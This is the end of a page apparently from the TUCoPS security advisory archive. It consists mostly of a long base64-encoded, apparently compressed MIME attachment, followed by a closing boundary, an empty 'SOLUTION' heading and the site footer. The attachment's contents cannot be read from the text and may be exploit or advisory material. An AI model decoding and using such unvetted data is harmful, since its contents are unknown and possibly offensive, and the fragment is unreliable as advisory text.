		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

		--=_-=_-KCDHBGJFINNNDAAA--

		
	
	

SOLUTION

	
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH